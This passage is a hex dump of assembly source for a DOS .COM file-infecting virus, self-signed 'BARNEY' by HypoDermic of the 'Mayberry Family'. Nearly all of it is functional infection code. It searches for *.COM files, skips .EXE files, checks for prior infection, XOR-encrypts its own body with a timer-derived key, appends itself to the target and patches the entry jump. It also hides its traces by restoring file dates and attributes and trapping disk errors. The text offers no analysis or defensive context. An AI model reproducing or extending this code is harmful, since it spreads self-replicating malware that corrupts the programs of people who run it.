|00001110| 6f 76 20 20 20 20 20 61 | 68 2c 34 46 68 0a 20 20 |ov a|h,4Fh. |
|00001120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e | | in|
|00001130| 74 20 20 20 20 20 32 31 | 68 0a 20 20 20 20 20 20 |t 21|h. |
|00001140| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 63 20 20 20 | | jnc |
|00001150| 20 20 6e 65 78 74 5f 66 | 69 6c 65 0a 0a 69 6e 66 | next_f|ile..inf|
|00001160| 65 63 74 5f 64 6f 6e 65 | 3a 0a 20 20 20 20 20 20 |ect_done|:. |
|00001170| 20 20 20 20 20 20 20 20 | 20 20 72 65 74 0a 65 78 | | ret.ex|
|00001180| 65 63 75 74 65 3a 0a 20 | 20 20 20 20 20 20 20 20 |ecute:. | |
|00001190| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 73 | p|ush s|
|000011a0| 69 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i.. | |
|000011b0| 20 20 20 78 6f 72 20 20 | 20 20 20 61 78 2c 61 78 | xor | ax,ax|
|000011c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000011d0| 20 20 20 3b 20 63 72 69 | 74 69 63 61 6c 20 65 72 | ; cri|tical er|
|000011e0| 72 6f 72 20 68 61 6e 64 | 6c 65 72 0a 20 20 20 20 |ror hand|ler. |
|000011f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00001200| 20 20 20 20 65 73 2c 61 | 78 20 20 20 20 20 20 20 | es,a|x |
|00001210| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 72 6f | | ; ro|
|00001220| 75 74 69 6e 65 20 2d 20 | 63 61 74 63 68 20 69 6e |utine - |catch in|
|00001230| 74 20 32 34 0a 20 20 20 | 20 20 20 20 20 20 20 20 |t 24. | |
|00001240| 20 20 20 20 20 6c 65 61 | 20 20 20 20 20 61 78 2c | lea| ax,|
|00001250| 5b 62 70 20 2b 20 69 6e | 74 5f 32 34 5d 0a 20 20 |[bp + in|t_24]. |
|00001260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00001270| 76 20 20 20 20 20 65 73 | 3a 5b 32 34 68 20 2a 20 |v es|:[24h * |
|00001280| 34 5d 2c 61 78 0a 20 20 | 20 20 20 20 20 20 20 20 |4],ax. | |
|00001290| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 65 73 | mo|v es|
|000012a0| 3a 5b 32 34 68 20 2a 20 | 34 20 2b 20 32 5d 2c 63 |:[24h * |4 + 2],c|
|000012b0| 73 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s.. | |
|000012c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 34 33 | mov | ax,43|
|000012d0| 30 30 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |00h | |
|000012e0| 20 20 20 3b 20 63 68 61 | 6e 67 65 20 61 74 74 72 | ; cha|nge attr|
|000012f0| 69 62 75 74 65 73 0a 20 | 20 20 20 20 20 20 20 20 |ibutes. | |
|00001300| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00001310| 31 68 0a 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h.. | |
|00001320| 20 20 20 20 70 75 73 68 | 20 20 20 20 63 78 20 64 | push| cx d|
|00001330| 78 20 64 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 |x ds. | |
|00001340| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 63 78 2c | xor| cx,|
|00001350| 63 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cx. | |
|00001360| 20 20 20 63 61 6c 6c 20 | 20 20 20 73 65 74 5f 61 | call | set_a|
|00001370| 74 74 72 69 62 75 74 65 | 73 0a 0a 20 20 20 20 20 |ttribute|s.. |
|00001380| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00001390| 20 20 20 61 78 2c 33 44 | 30 32 68 20 20 20 20 20 | ax,3D|02h |
|000013a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 6f 70 65 | | ; ope|
|000013b0| 6e 20 66 69 6c 65 0a 20 | 20 20 20 20 20 20 20 20 |n file. | |
|000013c0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|000013d0| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h. | |
|000013e0| 20 20 20 6a 63 20 20 20 | 20 20 20 63 61 6e 74 5f | jc | cant_|
|000013f0| 6f 70 65 6e 0a 20 20 20 | 20 20 20 20 20 20 20 20 |open. | |
|00001400| 20 20 20 20 20 78 63 68 | 67 20 20 20 20 62 78 2c | xch|g bx,|
|00001410| 61 78 0a 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax.. | |
|00001420| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 35 | mov | ax,5|
|00001430| 37 30 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |700h | |
|00001440| 20 20 20 20 3b 20 73 61 | 76 65 20 66 69 6c 65 20 | ; sa|ve file |
|00001450| 64 61 74 65 2f 74 69 6d | 65 0a 20 20 20 20 20 20 |date/tim|e. |
|00001460| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 | | int |
|00001470| 20 20 32 31 68 0a 20 20 | 20 20 20 20 20 20 20 20 | 21h. | |
|00001480| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 78 | pu|sh cx|
|00001490| 20 64 78 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | dx. | |
|000014a0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 33 | mov | ah,3|
|000014b0| 46 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |Fh. | |
|000014c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 32 38 | mov | cx,28|
|000014d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000014e0| 20 6c 65 61 20 20 20 20 | 20 64 78 2c 5b 62 70 20 | lea | dx,[bp |
|000014f0| 2b 20 72 65 61 64 5f 62 | 75 66 66 65 72 5d 0a 20 |+ read_b|uffer]. |
|00001500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|00001510| 6e 74 20 20 20 20 20 32 | 31 68 0a 0a 20 20 20 20 |nt 2|1h.. |
|00001520| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|00001530| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 5b 62 70 | word| ptr [bp|
|00001540| 20 2b 20 72 65 61 64 5f | 62 75 66 66 65 72 5d 2c | + read_|buffer],|
|00001550| 27 5a 4d 27 0a 20 20 20 | 20 20 20 20 20 20 20 20 |'ZM'. | |
|00001560| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 64 6f 6e | je | don|
|00001570| 74 5f 69 6e 66 65 63 74 | 20 20 20 20 20 20 20 20 |t_infect| |
|00001580| 20 20 20 20 20 3b 20 2e | 45 58 45 2c 20 73 6b 69 | ; .|EXE, ski|
|00001590| 70 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p.. | |
|000015a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 32 20 | mov | al,2 |
|000015b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000015c0| 20 20 20 3b 20 6d 6f 76 | 65 20 74 6f 20 65 6e 64 | ; mov|e to end|
|000015d0| 20 6f 66 20 66 69 6c 65 | 0a 20 20 20 20 20 20 20 | of file|. |
|000015e0| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 | | call |
|000015f0| 20 6d 6f 76 65 5f 66 69 | 6c 65 5f 70 74 72 0a 0a | move_fi|le_ptr..|
|00001600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001610| 63 6d 70 20 20 20 20 20 | 64 78 2c 36 35 32 37 39 |cmp |dx,65279|
|00001620| 20 2d 20 28 56 49 52 55 | 53 5f 53 49 5a 45 20 2b | - (VIRU|S_SIZE +|
|00001630| 20 33 29 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | 3). | |
|00001640| 20 20 20 20 6a 61 20 20 | 20 20 20 20 64 6f 6e 74 | ja | dont|
|00001650| 5f 69 6e 66 65 63 74 20 | 20 20 20 20 20 20 20 20 |_infect | |
|00001660| 20 20 20 20 3b 20 74 6f | 6f 20 62 69 67 2c 20 64 | ; to|o big, d|
|00001670| 6f 6e 27 74 20 69 6e 66 | 65 63 74 0a 0a 20 20 20 |on't inf|ect.. |
|00001680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 75 62 | | sub|
|00001690| 20 20 20 20 20 64 78 2c | 56 49 52 55 53 5f 53 49 | dx,|VIRUS_SI|
|000016a0| 5a 45 20 2b 20 33 20 20 | 20 20 20 20 20 3b 20 63 |ZE + 3 | ; c|
|000016b0| 68 65 63 6b 20 66 6f 72 | 20 70 72 65 76 69 6f 75 |heck for| previou|
|000016c0| 73 20 69 6e 66 65 63 74 | 69 6f 6e 0a 20 20 20 20 |s infect|ion. |
|000016d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|000016e0| 20 20 20 20 64 78 2c 77 | 6f 72 64 20 70 74 72 20 | dx,w|ord ptr |
|000016f0| 5b 62 70 20 2b 20 72 65 | 61 64 5f 62 75 66 66 65 |[bp + re|ad_buffe|
|00001700| 72 20 2b 20 31 5d 0a 20 | 20 20 20 20 20 20 20 20 |r + 1]. | |
|00001710| 20 20 20 20 20 20 20 6a | 65 20 20 20 20 20 20 64 | j|e d|
|00001720| 6f 6e 74 5f 69 6e 66 65 | 63 74 0a 0a 20 20 20 20 |ont_infe|ct.. |
|00001730| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 64 64 20 | | add |
|00001740| 20 20 20 20 64 78 2c 56 | 49 52 55 53 5f 53 49 5a | dx,V|IRUS_SIZ|
|00001750| 45 20 2b 20 33 0a 20 20 | 20 20 20 20 20 20 20 20 |E + 3. | |
|00001760| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 77 6f | mo|v wo|
|00001770| 72 64 20 70 74 72 20 5b | 62 70 20 2b 20 6e 65 77 |rd ptr [|bp + new|
|00001780| 5f 6a 75 6d 70 20 2b 20 | 31 5d 2c 64 78 0a 0a 20 |_jump + |1],dx.. |
|00001790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 61 | | a|
|000017a0| 64 64 20 20 20 20 20 64 | 78 2c 31 30 33 68 0a 20 |dd d|x,103h. |
|000017b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|000017c0| 61 6c 6c 20 20 20 20 65 | 6e 63 72 79 70 74 5f 63 |all e|ncrypt_c|
|000017d0| 6f 64 65 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |ode | ;|
|000017e0| 20 65 6e 63 72 79 70 74 | 20 76 69 72 75 73 0a 0a | encrypt| virus..|
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001800| 6c 65 61 20 20 20 20 20 | 64 78 2c 5b 62 70 20 2b |lea |dx,[bp +|
|00001810| 20 72 65 61 64 5f 62 75 | 66 66 65 72 5d 20 20 20 | read_bu|ffer] |
|00001820| 3b 20 73 61 76 65 20 6f | 72 69 67 69 6e 61 6c 20 |; save o|riginal |
|00001830| 70 72 6f 67 72 61 6d 20 | 68 65 61 64 0a 20 20 20 |program |head. |
|00001840| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 | | int|
|00001850| 20 20 20 20 20 32 31 68 | 0a 20 20 20 20 20 20 20 | 21h|. |
|00001860| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001870| 20 61 68 2c 34 30 68 20 | 20 20 20 20 20 20 20 20 | ah,40h | |
|00001880| 20 20 20 20 20 20 20 20 | 20 3b 20 77 72 69 74 65 | | ; write|
|00001890| 20 76 69 72 75 73 20 74 | 6f 20 66 69 6c 65 0a 20 | virus t|o file. |
|000018a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|000018b0| 6f 76 20 20 20 20 20 63 | 78 2c 56 49 52 55 53 5f |ov c|x,VIRUS_|
|000018c0| 53 49 5a 45 0a 20 20 20 | 20 20 20 20 20 20 20 20 |SIZE. | |
|000018d0| 20 20 20 20 20 6c 65 61 | 20 20 20 20 20 64 78 2c | lea| dx,|
|000018e0| 5b 62 70 20 2b 20 65 6e | 63 72 79 70 74 5f 62 75 |[bp + en|crypt_bu|
|000018f0| 66 66 65 72 5d 0a 20 20 | 20 20 20 20 20 20 20 20 |ffer]. | |
|00001900| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 | in|t 21|
|00001910| 68 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h.. | |
|00001920| 20 20 20 78 6f 72 20 20 | 20 20 20 61 6c 2c 61 6c | xor | al,al|
|00001930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001940| 20 20 20 3b 20 62 61 63 | 6b 20 74 6f 20 62 65 67 | ; bac|k to beg|
|00001950| 69 6e 6e 69 6e 67 20 6f | 66 20 66 69 6c 65 0a 20 |inning o|f file. |
|00001960| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00001970| 61 6c 6c 20 20 20 20 6d | 6f 76 65 5f 66 69 6c 65 |all m|ove_file|
|00001980| 5f 70 74 72 0a 0a 20 20 | 20 20 20 20 20 20 20 20 |_ptr.. | |
|00001990| 20 20 20 20 20 20 6c 65 | 61 20 20 20 20 20 64 78 | le|a dx|
|000019a0| 2c 5b 62 70 20 2b 20 6e | 65 77 5f 6a 75 6d 70 5d |,[bp + n|ew_jump]|
|000019b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000019c0| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0a 0a 66 69 | int | 21h..fi|
|000019d0| 78 5f 64 61 74 65 5f 74 | 69 6d 65 3a 0a 20 20 20 |x_date_t|ime:. |
|000019e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|000019f0| 20 20 20 20 20 64 78 20 | 63 78 0a 20 20 20 20 20 | dx |cx. |
|00001a00| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00001a10| 20 20 20 61 78 2c 35 37 | 30 31 68 20 20 20 20 20 | ax,57|01h |
|00001a20| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 72 65 73 | | ; res|
|00001a30| 74 6f 72 65 20 66 69 6c | 65 20 64 61 74 65 2f 74 |tore fil|e date/t|
|00001a40| 69 6d 65 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ime. | |
|00001a50| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0a | int | 21h.|
|00001a60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001a70| 20 69 6e 63 20 20 20 20 | 20 62 79 74 65 20 70 74 | inc | byte pt|
|00001a80| 72 20 5b 62 70 20 2b 20 | 69 6e 66 65 63 74 69 6f |r [bp + |infectio|
|00001a90| 6e 73 5d 0a 0a 63 6c 6f | 73 65 3a 0a 20 20 20 20 |ns]..clo|se:. |
|00001aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 | | pop |
|00001ab0| 20 20 20 20 64 73 20 64 | 78 20 63 78 20 20 20 20 | ds d|x cx |
|00001ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 72 65 | | ; re|
|00001ad0| 73 74 6f 72 65 20 61 74 | 74 72 69 62 75 74 65 73 |store at|tributes|
|00001ae0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001af0| 20 63 61 6c 6c 20 20 20 | 20 73 65 74 5f 61 74 74 | call | set_att|
|00001b00| 72 69 62 75 74 65 73 0a | 0a 20 20 20 20 20 20 20 |ributes.|. |
|00001b10| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00001b20| 20 61 68 2c 33 45 68 20 | 20 20 20 20 20 20 20 20 | ah,3Eh | |
|00001b30| 20 20 20 20 20 20 20 20 | 20 3b 20 63 6c 6f 73 65 | | ; close|
|00001b40| 20 66 69 6c 65 0a 20 20 | 20 20 20 20 20 20 20 20 | file. | |
|00001b50| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 | in|t 21|
|00001b60| 68 0a 0a 63 61 6e 74 5f | 6f 70 65 6e 3a 0a 20 20 |h..cant_|open:. |
|00001b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00001b80| 70 20 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |p si|. |
|00001b90| 20 20 20 20 20 20 20 20 | 20 72 65 74 0a 0a 0a 73 | | ret...s|
|00001ba0| 65 74 5f 61 74 74 72 69 | 62 75 74 65 73 3a 0a 20 |et_attri|butes:. |
|00001bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00001bc0| 6f 76 20 20 20 20 20 61 | 78 2c 34 33 30 31 68 0a |ov a|x,4301h.|
|00001bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001be0| 69 6e 74 20 20 20 20 20 | 32 31 68 0a 20 20 20 20 |int |21h. |
|00001bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 0a | | ret.|
|00001c00| 0a 64 6f 6e 74 5f 69 6e | 66 65 63 74 3a 0a 20 20 |.dont_in|fect:. |
|00001c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00001c20| 70 20 20 20 20 20 63 78 | 20 64 78 20 20 20 20 20 |p cx| dx |
|00001c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00001c40| 63 61 6e 27 74 20 69 6e | 66 65 63 74 2c 20 73 6b |can't in|fect, sk|
|00001c50| 69 70 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ip. | |
|00001c60| 20 20 20 6a 6d 70 20 20 | 20 20 20 63 6c 6f 73 65 | jmp | close|
|00001c70| 0a 0a 6d 6f 76 65 5f 66 | 69 6c 65 5f 70 74 72 3a |..move_f|ile_ptr:|
|00001c80| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001c90| 20 6d 6f 76 20 20 20 20 | 20 61 68 2c 34 32 68 20 | mov | ah,42h |
|00001ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001cb0| 20 3b 20 6d 6f 76 65 20 | 66 69 6c 65 20 70 6f 69 | ; move |file poi|
|00001cc0| 6e 74 65 72 0a 20 20 20 | 20 20 20 20 20 20 20 20 |nter. | |
|00001cd0| 20 20 20 20 20 63 77 64 | 0a 20 20 20 20 20 20 20 | cwd|. |
|00001ce0| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00001cf0| 20 63 78 2c 63 78 0a 20 | 20 20 20 20 20 20 20 20 | cx,cx. | |
|00001d00| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|00001d10| 31 68 0a 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h.. | |
|00001d20| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 61 | mov | dx,a|
|00001d30| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00001d40| 20 20 20 20 3b 20 73 65 | 74 20 75 70 20 72 65 67 | ; se|t up reg|
|00001d50| 69 73 74 65 72 73 0a 20 | 20 20 20 20 20 20 20 20 |isters. | |
|00001d60| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00001d70| 68 2c 34 30 68 0a 20 20 | 20 20 20 20 20 20 20 20 |h,40h. | |
|00001d80| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 | mo|v cx|
|00001d90| 2c 33 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,3. | |
|00001da0| 20 20 20 72 65 74 0a 0a | 63 6f 75 72 74 65 73 79 | ret..|courtesy|
|00001db0| 5f 6f 66 20 20 20 20 20 | 64 62 20 20 20 20 20 20 |_of |db |
|00001dc0| 27 5b 42 57 5d 27 2c 30 | 0a 73 69 67 6e 61 74 75 |'[BW]',0|.signatu|
|00001dd0| 72 65 20 20 20 20 20 20 | 20 64 62 20 20 20 20 20 |re | db |
|00001de0| 20 27 42 41 52 4e 45 59 | 20 28 63 29 20 62 79 20 | 'BARNEY| (c) by |
|00001df0| 48 79 70 6f 44 65 72 6d | 69 63 21 21 20 50 61 72 |HypoDerm|ic!! Par|
|00001e00| 74 20 6f 66 20 74 68 65 | 20 4d 61 79 62 65 72 72 |t of the| Mayberr|
|00001e10| 79 20 46 61 6d 69 6c 79 | 21 21 21 27 2c 30 0a 0a |y Family|!!!',0..|
|00001e20| 0a 65 6e 63 72 79 70 74 | 5f 63 6f 64 65 3a 0a 20 |.encrypt|_code:. |
|00001e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00001e40| 75 73 68 20 20 20 20 61 | 78 20 63 78 0a 0a 20 20 |ush a|x cx.. |
|00001e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00001e60| 73 68 20 20 20 20 64 78 | 0a 20 20 20 20 20 20 20 |sh dx|. |
|00001e70| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00001e80| 20 61 68 2c 61 68 20 20 | 20 20 20 20 20 20 20 20 | ah,ah | |
|00001e90| 20 20 20 20 20 20 20 20 | 20 3b 20 67 65 74 20 74 | | ; get t|
|00001ea0| 69 6d 65 20 66 6f 72 20 | 72 61 6e 64 6f 6d 20 6e |ime for |random n|
|00001eb0| 75 6d 62 65 72 0a 20 20 | 20 20 20 20 20 20 20 20 |umber. | |
|00001ec0| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 31 41 | in|t 1A|
|00001ed0| 68 0a 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h.. | |
|00001ee0| 20 20 20 6d 6f 76 20 20 | 20 20 5b 62 70 20 2b 20 | mov | [bp + |
|00001ef0| 63 69 70 68 65 72 5d 2c | 64 78 0a 20 20 20 20 20 |cipher],|dx. |
|00001f00| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00001f10| 20 20 20 63 78 0a 20 20 | 20 20 20 20 20 20 20 20 | cx. | |
|00001f20| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 63 78 | ad|d cx|
|00001f30| 2c 76 69 72 75 73 5f 63 | 6f 64 65 20 2d 20 76 69 |,virus_c|ode - vi|
|00001f40| 72 75 73 5f 62 65 67 69 | 6e 0a 20 20 20 20 20 20 |rus_begi|n. |
|00001f50| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00001f60| 20 20 5b 62 70 20 2b 20 | 63 6f 64 65 5f 6f 66 66 | [bp + |code_off|
|00001f70| 73 65 74 5d 2c 63 78 0a | 20 20 20 20 20 20 20 20 |set],cx.| |
|00001f80| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00001f90| 63 73 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cs | |
|00001fa0| 20 20 20 20 20 20 20 20 | 3b 20 45 53 20 3d 20 43 | |; ES = C|
|00001fb0| 53 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |S. | |
|00001fc0| 20 20 70 6f 70 20 20 20 | 20 20 65 73 0a 0a 20 20 | pop | es.. |
|00001fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6c 65 | | le|
|00001fe0| 61 20 20 20 20 20 73 69 | 2c 5b 62 70 20 2b 20 76 |a si|,[bp + v|
|00001ff0| 69 72 75 73 5f 62 65 67 | 69 6e 5d 0a 20 20 20 20 |irus_beg|in]. |
|00002000| 20 20 20 20 20 20 20 20 | 20 20 20 20 6c 65 61 20 | | lea |
|00002010| 20 20 20 20 64 69 2c 5b | 62 70 20 2b 20 6f 66 66 | di,[|bp + off|
|00002020| 73 65 74 20 65 6e 63 72 | 79 70 74 5f 62 75 66 66 |set encr|ypt_buff|
|00002030| 65 72 5d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |er]. | |
|00002040| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 76 | mov | cx,v|
|00002050| 69 72 75 73 5f 63 6f 64 | 65 20 2d 20 76 69 72 75 |irus_cod|e - viru|
|00002060| 73 5f 62 65 67 69 6e 0a | 20 20 20 20 20 20 20 20 |s_begin.| |
|00002070| 20 20 20 20 20 20 20 20 | 72 65 70 20 20 20 20 20 | |rep |
|00002080| 6d 6f 76 73 62 0a 0a 20 | 20 20 20 20 20 20 20 20 |movsb.. | |
|00002090| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|000020a0| 78 2c 56 49 52 55 53 5f | 53 49 5a 45 20 2f 20 32 |x,VIRUS_|SIZE / 2|
|000020b0| 20 2b 20 31 0a 65 6e 63 | 72 79 70 74 3a 0a 20 20 | + 1.enc|rypt:. |
|000020c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6c 6f | | lo|
|000020d0| 64 73 77 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dsw | |
|000020e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000020f0| 65 6e 63 72 79 70 74 20 | 76 69 72 75 73 20 63 6f |encrypt |virus co|
|00002100| 64 65 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |de. | |
|00002110| 20 20 20 78 6f 72 20 20 | 20 20 20 61 78 2c 64 78 | xor | ax,dx|
|00002120| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002130| 20 73 74 6f 73 77 0a 20 | 20 20 20 20 20 20 20 20 | stosw. | |
|00002140| 20 20 20 20 20 20 20 6c | 6f 6f 70 20 20 20 20 65 | l|oop e|
|00002150| 6e 63 72 79 70 74 0a 0a | 20 20 20 20 20 20 20 20 |ncrypt..| |
|00002160| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00002170| 63 78 20 61 78 0a 20 20 | 20 20 20 20 20 20 20 20 |cx ax. | |
|00002180| 20 20 20 20 20 20 72 65 | 74 0a 0a 0a 66 69 6e 64 | re|t...find|
|00002190| 5f 6d 65 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |_me | db |
|000021a0| 20 20 20 20 27 2a 2e 43 | 4f 4d 27 2c 30 0a 6f 75 | '*.C|OM',0.ou|
|000021b0| 74 65 72 20 20 20 20 20 | 20 20 20 20 20 20 64 62 |ter | db|
|000021c0| 20 20 20 20 20 20 27 2e | 2e 27 2c 30 0a 0a 69 6e | '.|.',0..in|
|000021d0| 74 5f 32 34 3a 0a 20 20 | 20 20 20 20 20 20 20 20 |t_24:. | |
|000021e0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 6c | mo|v al|
|000021f0| 2c 33 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,3 | |
|00002200| 20 20 20 20 20 20 3b 20 | 69 6e 74 20 32 34 20 68 | ; |int 24 h|
|00002210| 61 6e 64 6c 65 72 0a 20 | 20 20 20 20 20 20 20 20 |andler. | |
|00002220| 20 20 20 20 20 20 20 69 | 72 65 74 0a 6e 65 77 5f | i|ret.new_|
|00002230| 6a 75 6d 70 20 20 20 20 | 20 20 20 20 64 62 20 20 |jump | db |
|00002240| 20 20 20 20 30 45 39 68 | 2c 30 2c 30 0a 0a 69 6e | 0E9h|,0,0..in|
|00002250| 66 65 63 74 69 6f 6e 73 | 20 20 20 20 20 20 64 62 |fections| db|
|00002260| 20 20 20 20 20 20 30 0a | 76 69 72 75 73 5f 65 6e | 0.|virus_en|
|00002270| 64 3a 0a 56 49 52 55 53 | 5f 53 49 5a 45 20 20 20 |d:.VIRUS|_SIZE |
|00002280| 20 20 20 65 71 75 20 20 | 20 20 20 76 69 72 75 73 | equ | virus|
|00002290| 5f 65 6e 64 20 2d 20 76 | 69 72 75 73 5f 62 65 67 |_end - v|irus_beg|
|000022a0| 69 6e 0a 72 65 61 64 5f | 62 75 66 66 65 72 20 20 |in.read_|buffer |
|000022b0| 20 20 20 64 62 20 20 20 | 20 20 20 32 38 20 64 75 | db | 28 du|
|000022c0| 70 20 28 3f 29 20 20 20 | 20 20 20 20 20 20 20 20 |p (?) | |
|000022d0| 20 20 20 3b 20 72 65 61 | 64 20 62 75 66 66 65 72 | ; rea|d buffer|
|000022e0| 0a 6e 65 77 5f 44 54 41 | 20 20 20 20 20 20 20 20 |.new_DTA| |
|000022f0| 20 64 62 20 20 20 20 20 | 20 31 32 38 20 64 75 70 | db | 128 dup|
|00002300| 28 3f 29 0a 65 6e 63 72 | 79 70 74 5f 62 75 66 66 |(?).encr|ypt_buff|
|00002310| 65 72 20 20 64 62 20 20 | 20 20 20 20 56 49 52 55 |er db | VIRU|
